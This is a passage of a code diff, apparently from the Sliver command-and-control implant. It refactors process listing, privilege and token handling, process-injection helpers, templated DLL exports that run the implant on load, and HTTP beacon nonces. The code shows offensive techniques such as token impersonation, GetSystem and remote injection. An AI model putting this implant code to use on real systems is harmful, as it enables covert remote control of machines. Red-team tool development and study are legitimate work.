gvisor.dev/gvisor v0.0.0-20240306221502-ee1e1f6070e3
@@ -175,7 +175,7 @@ require (
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/mod v0.17.0 // indirect
golang.org/x/sync v0.9.0 // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
+14 -14
View File
@@ -427,8 +427,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.29.0 h1:L5SG1JTTXupVV3n6sUqMTeWbjAyfPwoda2DLX8J8FrQ=
golang.org/x/crypto v0.29.0/go.mod h1:+F4F4N5hv6v38hfeYwTdx20oUvLLc+QfrE9Ax9HtgRg=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY=
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI=
@@ -455,8 +455,8 @@ golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ=
golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE=
golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI=
golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8=
@@ -467,8 +467,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.9.0 h1:fEo0HyrW1GIgZdpbhCRO0PkJajUS5H9IFUztCgEo2jQ=
golang.org/x/sync v0.9.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -498,18 +498,18 @@ golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s=
golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.26.0 h1:WEQa6V3Gja/BhNxg540hBip/kkaYtRg3cxg4oXSw4AU=
golang.org/x/term v0.26.0/go.mod h1:Si5m1o57C5nBNQo5z1iq+XDijt21BDBDp2bK0QI8e3E=
golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg=
golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.20.0 h1:gK/Kv2otX8gz+wn7Rmb3vT96ZwuoxnQlY+HlJVj7Qug=
golang.org/x/text v0.20.0/go.mod h1:D4IsuqiFMhST5bX19pQ9ikHC2GsaKyk/oF+pn3ducp4=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -578,10 +578,10 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8=
gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI=
gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo=
gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM=
gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8=
gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI=
gorm.io/driver/sqlite v1.5.5 h1:7MDMtUZhV065SilG62E0MquljeArQZNfJnjd9i9gx3E=
gorm.io/driver/sqlite v1.5.5/go.mod h1:6NgQ7sQWAIFsPrJJl1lSNSu2TABh0ZZ/zm5fosATavE=
gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
+17
View File
@@ -219,6 +219,23 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
return plaintext, nil
}
// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, msg)
if err != nil {
return nil, err
}
if 0 < len(msg) {
digest := sha256.Sum256(msg)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
}
return plaintext, nil
}
// Encrypt - Encrypt a message with the contextual key
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
ciphertext, err := Encrypt(c.Key, plaintext)
+1 -1
View File
@@ -45,7 +45,7 @@ var (
MaxN = uint64(9999999)
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base58EncoderID}}`, 10, 64)
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
+2 -2
View File
@@ -477,8 +477,8 @@ func migrateHandler(data []byte, resp RPCResponse) {
migrateResp.Success = false
migrateResp.Response = &commonpb.Response{}
} else {
// Search for the PID
processes, err := ps.Processes()
// Search for the PID, do not need all info about the process
processes, err := ps.Processes(false)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes()
procs, err := ps.Processes(psListReq.FullInfo)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
@@ -29,7 +29,7 @@ import (
"os"
"path/filepath"
"runtime"
"strconv"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/ps"
@@ -49,7 +49,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes()
procs, err := ps.Processes(psListReq.FullInfo)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -155,12 +155,12 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)
// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
@@ -180,7 +180,7 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// {{if .Config.Debug}}
log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
@@ -205,8 +205,8 @@ func ifconfigLinux() *sliverpb.Ifconfig {
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)", namespacePath[0])
}
for _, iface := range netInterfaces {
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes()
procs, err := ps.Processes(psListReq.FullInfo)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
+1 -1
View File
@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.cipherCtx.Decrypt(data)
data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Decryption error: %s", err)
+12 -17
View File
@@ -63,10 +63,8 @@ var CurrentToken windows.Token
func SePrivEnable(s string) error {
var tokenHandle windows.Token
thsHandle, err := windows.GetCurrentProcess()
if err != nil {
return err
}
thsHandle := windows.CurrentProcess()
windows.OpenProcessToken(
//r, a, e := procOpenProcessToken.Call(
thsHandle, // HANDLE ProcessHandle,
@@ -74,7 +72,7 @@ func SePrivEnable(s string) error {
&tokenHandle, // PHANDLE TokenHandle
)
var luid windows.LUID
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("LookupPrivilegeValueW failed", err)
@@ -215,7 +213,9 @@ func impersonateUser(username string) (token windows.Token, err error) {
err = fmt.Errorf("username can't be empty")
return
}
p, err := ps.Processes()
// We do not need full process info here, just PID and executable name
p, err := ps.Processes(false)
if err != nil {
return
}
@@ -422,7 +422,9 @@ func Impersonate(username string) (token windows.Token, err error) {
func GetSystem(data []byte, hostingProcess string) (err error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
procs, _ := ps.Processes()
// Just need PID, not all info
procs, _ := ps.Processes(false)
for _, p := range procs {
if p.Executable() == hostingProcess {
err = SePrivEnable("SeDebugPrivilege")
@@ -556,14 +558,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
currentProcHandle := windows.CurrentProcess()
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
@@ -574,8 +569,8 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
// Get process info for the current PID, do not need full info
processInformation, err := ps.FindProcess(int(sessionPID), false)
if err != nil {
// {{if .Config.Debug}}
+4 -4
View File
@@ -36,16 +36,16 @@ type Process interface {
// called. Some operating systems don't provide snapshot capability of the
// process table, in which case the process table returned might contain
// ephemeral entities that happened to be running when this was called.
func Processes() ([]Process, error) {
return processes()
func Processes(fullInfo bool) ([]Process, error) {
return processes(fullInfo)
}
// FindProcess looks up a single process by pid.
//
// Process will be nil and error will be nil if a matching process is
// not found.
func FindProcess(pid int) (Process, error) {
return findProcess(pid)
func FindProcess(pid int, fullInfo bool) (Process, error) {
return findProcess(pid, fullInfo)
}
// Kill finds a process from a PID and terminates it.
+32 -22
View File
@@ -48,8 +48,8 @@ func (p *DarwinProcess) Architecture() string {
return p.arch
}
func findProcess(pid int) (Process, error) {
ps, err := processes()
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
if err != nil {
return nil, err
}
@@ -63,7 +63,7 @@ func findProcess(pid int) (Process, error) {
return nil, nil
}
func processes() ([]Process, error) {
func processes(fullInfo bool) ([]Process, error) {
var owner string
buf, _, err := procInfoSyscall()
if err != nil {
@@ -92,29 +92,39 @@ func processes() ([]Process, error) {
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
if fullInfo {
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
} else {
owner = u.Username
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
} else {
owner = u.Username
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
}
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
}
return darwinProcs, nil
+8 -3
View File
@@ -1,3 +1,4 @@
//go:build linux
// +build linux
package ps
@@ -151,8 +152,8 @@ func (p *UnixProcess) Refresh() error {
return err
}
func findProcess(pid int) (Process, error) {
ps, err := processes()
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
if err != nil {
return nil, err
}
@@ -164,7 +165,7 @@ func findProcess(pid int) (Process, error) {
return nil, fmt.Errorf("no process found for pid %d", pid)
}
func processes() ([]Process, error) {
func processes(fullInfo bool) ([]Process, error) {
d, err := os.Open("/proc")
if err != nil {
return nil, err
@@ -201,6 +202,10 @@ func processes() ([]Process, error) {
if err != nil {
continue
}
if !fullInfo {
results = append(results, p)
continue
}
p.owner, err = getProcessOwner(int(pid))
if err != nil {
continue
+31 -22
View File
@@ -5,12 +5,13 @@ package ps
import (
"fmt"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"runtime"
"strings"
"syscall"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
)
// WindowsProcess is an implementation of Process for Windows.
@@ -52,7 +53,7 @@ func (p *WindowsProcess) SessionID() int {
return p.sessionID
}
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
@@ -61,24 +62,33 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
}
end++
}
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
if fullInfo {
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
} else {
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
}
func findProcess(pid int) (Process, error) {
ps, err := processes()
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
if err != nil {
return nil, err
}
@@ -125,7 +135,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
@@ -141,7 +151,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
func processes() ([]Process, error) {
func processes(fullInfo bool) ([]Process, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
@@ -156,7 +166,7 @@ func processes() ([]Process, error) {
results := make([]Process, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
results = append(results, newWindowsProcess(&entry, fullInfo))
err = syscall.Process32Next(handle, &entry)
if err != nil {
@@ -249,7 +259,6 @@ func getCmdLine(pid uint32) ([]string, error) {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
err = syscall.CloseHandle(proc)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
@@ -269,7 +278,7 @@ func getProcessArchitecture(pid uint32) (string, error) {
nativeArch = "x86_64"
} else {
var is64Bit bool
pHandle, _ := windows.GetCurrentProcess()
pHandle := windows.CurrentProcess()
if uint(pHandle) == 0 {
nativeArch = ""
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
+12 -7
View File
@@ -3,11 +3,13 @@
#ifdef __WIN32
#include <windows.h>
void StartW();
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
DWORD WINAPI Start()
{
StartW();
{{ (index .Config.Exports 0) }}();
return 0;
}
@@ -43,27 +45,30 @@ BOOL WINAPI DllMain(
#elif __linux__
#include <stdlib.h>
void StartW();
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
{{ (index .Config.Exports 0) }}();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
#include <stdlib.h>
void StartW();
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
StartW();
{{ (index .Config.Exports 0) }}();
// {{end}}
}
+4 -31
View File
@@ -113,42 +113,15 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
var isRunning bool = false
// StartW - Export for shared lib build
//
//export StartW
func StartW() {
// {{range .Config.Exports}}
//export {{.}}
func {{.}} () {
if !isRunning {
isRunning = true
main()
}
}
// Thanks Ne0nd0g for those
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
//
//export VoidFunc
func VoidFunc() { main() }
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
//
//export DllInstall
func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
//
//export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
//
//export DllUnregisterServer
func DllUnregisterServer() { main() }
// {{end}}
// {{end}}
func main() {
+4 -21
View File
@@ -144,13 +144,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
if processHandle == 0 {
return err
}
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return err
}
currentProcHandle := windows.CurrentProcess()
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -314,13 +308,8 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
}
defer windows.CloseHandle(handle)
defer windows.CloseHandle(lpTargetHandle)
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
currentProcHandle := windows.CurrentProcess()
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -366,13 +355,7 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
if err != nil {
return "", err
}
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
currentProcHandle := windows.CurrentProcess()
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -29,6 +29,7 @@ import (
insecureRand "math/rand"
"net/http"
"net/url"
"path"
"strconv"
"strings"
"sync"
@@ -50,6 +51,8 @@ var (
userAgent = "{{GenerateUserAgent}}"
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
NonceQueryLength = "{{.HTTPC2ImplantConfig.NonceQueryLength}}" // 8
NonceMode = "{{.HTTPC2ImplantConfig.NonceMode}}" // Url or UrlParam
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
@@ -196,17 +199,35 @@ func (s *SliverHTTPClient) SessionInit() error {
// NonceQueryArgument - Adds a nonce query argument to the URL
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
values := uri.Query()
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
if NonceMode == "UrlParam" {
values := uri.Query()
var key string
